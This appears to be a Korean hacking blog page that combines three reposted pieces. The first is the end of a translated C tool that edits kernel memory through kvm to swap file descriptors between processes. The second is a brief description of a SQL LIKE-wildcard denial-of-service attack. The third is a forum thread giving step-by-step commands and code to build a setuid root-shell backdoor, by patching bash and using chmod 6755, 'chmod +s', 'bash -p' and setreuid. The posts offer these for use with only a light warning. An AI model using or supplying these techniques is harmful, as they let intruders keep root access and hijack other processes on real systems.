fprintf(stderr, "Use: %s pid1 fd1 pid2 fd2 [pid3 fd3]\n", argv[0]), 
exit(1); 
 
pid1 = atoi(argv[1]), fd1 = atoi(argv[2]); 
pid2 = atoi(argv[3]), fd2 = atoi(argv[4]); 
if (argc == 7) 
pid3 = atoi(argv[5]), fd3 = atoi(argv[6]), three=1; 
 
if (pid1 == 0) 
pid1 = getpid(), fd1 = open("/dev/null", O_RDWR); 
if (pid2 == 0) 
pid2 = getpid(), fd2 = open("/dev/null", O_RDWR); 
if (three && pid3 == 0) 
pid3 = getpid(), fd3 = open("/dev/null", O_RDWR); 
 
kfd = kvm_open(NULL, NULL, NULL, O_RDWR, "chfd"); 
if (kfd == NULL) exit(1); 
 
bzero(nm, 2*sizeof(struct nlist)); 
nm[0].n_name = "_allproc"; 
nm[1].n_name = NULL; 
if (kvm_nlist(kfd, nm) != 0) 
fprintf(stderr, "Can't read kernel name list\n"), exit(1); 
allproc = nm[0].n_value; 
 
findproc(pid1); 
ad1 = AD(fd1); 
val1 = readvalz(ad1); 
printf("Found fd pointer 1, value %.8x, stored at %.8x\n", val1, ad1); 
 
findproc(pid2); 
ad2 = AD(fd2); 
val2 = readvalz(ad2); 
printf("Found fd pointer 2, value %.8x, stored at %.8x\n", val2, ad2); 
 
if (three) { 
findproc(pid3); 
ad3 = AD(fd3); 
val3 = readvalz(ad3); 
printf("Found fd pointer 3, value %.8x, stored at %.8x\n", val3, ad3); 
} 
 
if (three) { 
if (readval(ad1)!=val1 || readval(ad2)!=val2 || readval(ad3)!=val3) { 
fprintf(stderr, "fds changed in memory while using them - try again\n"); 
exit(1); 
} 
writeval(ad2, val1); 
writeval(ad3, val2); 
writeval(ad1, val3); 
} else { 
if (readval(ad1)!=val1 || readval(ad2)!=val2) { 
fprintf(stderr, "fds changed in memory while using them - try again\n"); 
exit(1); 
} 
writeval(ad1, val2); 
writeval(ad2, val1); 
} 
printf("Done!\n"); 
} 
 
날림 번역본 보시느라고 수고 하셨습니다. ^^;; fd 가로채기라 그래서 흥미롭게 보
다가 번역까지 손대게 되었군요. 원문이랑 비교하시면서 보세요. 

작성 및 번역 : 정윤진 (keberos@daum.net) 

 

저작자 표시 비영리
Posted by 티엘로

웹 사이트의 검색부분은 보통 SQL SELECT 구문의 LIKE절에 들어가게 됩니다. 이 공격은 LIKE절에 Wildcard 문자들을 무작위를 입력하여 SQL 서비스 퍼포먼스를 떨어드리는 새로운 형태의 서비스 거부 공격입니다.



저작자 표시 비영리
Posted by 티엘로


요즘은 기초적인 해킹 공부를 하려고 해도 shell level에서 setuid를 막아버
려 간단한 방법으로는 root shell을 만들기가 어렵게 되어 있습니다.

이 문서는 최신 버전 bash(현재 2.05b)를 기준으로 root shell을 만드는 방
법에 대해 간단히 적혀있습니다.

해킹 공부 목적에 사용하시건, 악용하시건, 사용자 마음이지만, 책임도 같
이 지시기 바랍니다. :)


** 준비물 **
bash 최신 버전 (bash-2.05b.tar.gz)
슈퍼 유저 권한

bash 최신 버전은 ftp.gnu.org에 공식 배포본을 구하실 수 있으며,  
ftp.linux.sarang.net에서도 미러링되어 있습니다. 슈퍼 유저 권한은 따로  
설명하지 않겠습니다.


** root shell 만들기 **
우선 bash 소스를 압축 푼 뒤에 shell.c를 수정해야 합니다.
2.05b를 기준으로 442라인에 보시면 아래의 구문이 있습니다. (타 버전에서
는 위, 아래 라인을 잘 살펴보세요)

if (running_setuid && privileged_mode == 0)
  disable_priv_mode ();

간단합니다. disable_prov_mode()부분을 주석 처리해 버립시다.

->
if (running_setuid && privileged_mode == 0);
  /* disable_priv_mode (); */

if문 뒤에 세미콜론을 찍는 것을 까먹지 마시고...

다음에 컴파일 해야 합니다. 좀 더 완벽한 루트쉘을 위한 configure옵션을  
적는다면...

$ ./configure --enable-static-link --disable-history

뭐 적당한 옵션을 줘서 configure하고 make하면 bash 바이너리 파일이 컴파
일됩니다.

다음에 루트 권한으로 쑤시는 명령들...

# chown root.root bash
# chmod 6755 bash
# ls -l bash
-rwsr-sr-x    1 root     root      2264774  9월 11 22:03 bash
#

오.. 이쁜 루트쉘이 탄생했군요. 그럼 일반 유저 권한으로 실행해보면...

$ ./bash
# id
# uid=1000(xxxx) gid=100(users) euid=0(root) egid=0(root) groups=100
(users)

euid, guid가 root로 된 것을 확인할 수 있습니다.


유용하게 쓰셨으면 하며... 쉬운 내용이지만 가능한 한 악용하지 말아 주셨
으면 합니다.

그럼...
  
글쓴이: 성현* [홈페이지] 글쓴날: 2002-09-12 01:40:20 읽은수: 617 <+>  
C에서 setreuid() 함수도 setuid 안먹히나요?  

[jsh83@gelug jsh83]$ bash --version  
GNU bash, version 2.05.8(1)-release (i386-redhat-linux-gnu)  
Copyright 2000 Free Software Foundation, Inc.  
[jsh83@gelug jsh83]$  

버전은 위와 같고, 2.05b하고는 다른 건지 모르겠지만..;  


#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main(void)
{
        int n;

        setreuid(0, 510); // 510은 jsh83의 권한
        system("/usr/bin/id");

        exit(0);
}


위와 같이 파일 만들어서 루트권한으로 컴파일 한 후  

chmod 4751 파일명 && chgrp jsh83 파일명  

하니깐 잘 되던데요.. 이번엔 안되는지요?  
  
글쓴이: godyang 글쓴날: 2002-09-12 12:59:22 읽은수: 350 <+>  
안녕하세요?  

훨씬 더 간단한 방법이 있었군요. =_=  

제가 고친 부분의 요지는... bash에서 euid도 먹게 하자는 의도었고...  
성현님의 요지는... 아예 real uid도 바꿔버리자는 의도인 것 같습니다.  

성현님의 방법이 더 간단한 듯... :)  

팁 감사합니다.  

그럼...  
  
글쓴이: nobody 글쓴날: 2002-09-12 15:46:53 읽은수: 362 <+>  
sh-2.05# bash --version  
GNU bash, version 2.05.8(1)-release (i386-redhat-linux-gnu)  
Copyright 2000 Free Software Foundation, Inc.  

sh-2.05# cp /bin/bash .  

sh-2.05# chmod +s bash  

sh-2.05# su test  

[test@test test]$ id  
uid=624(test) gid=512(test) groups=512(test)  

[test@test test]$ ./bash -p  

bash-2.05# id  
uid=624(test) gid=512(test) euid=0(root) egid=0(root) groups=512(test) 
저작자 표시 비영리
Posted by 티엘로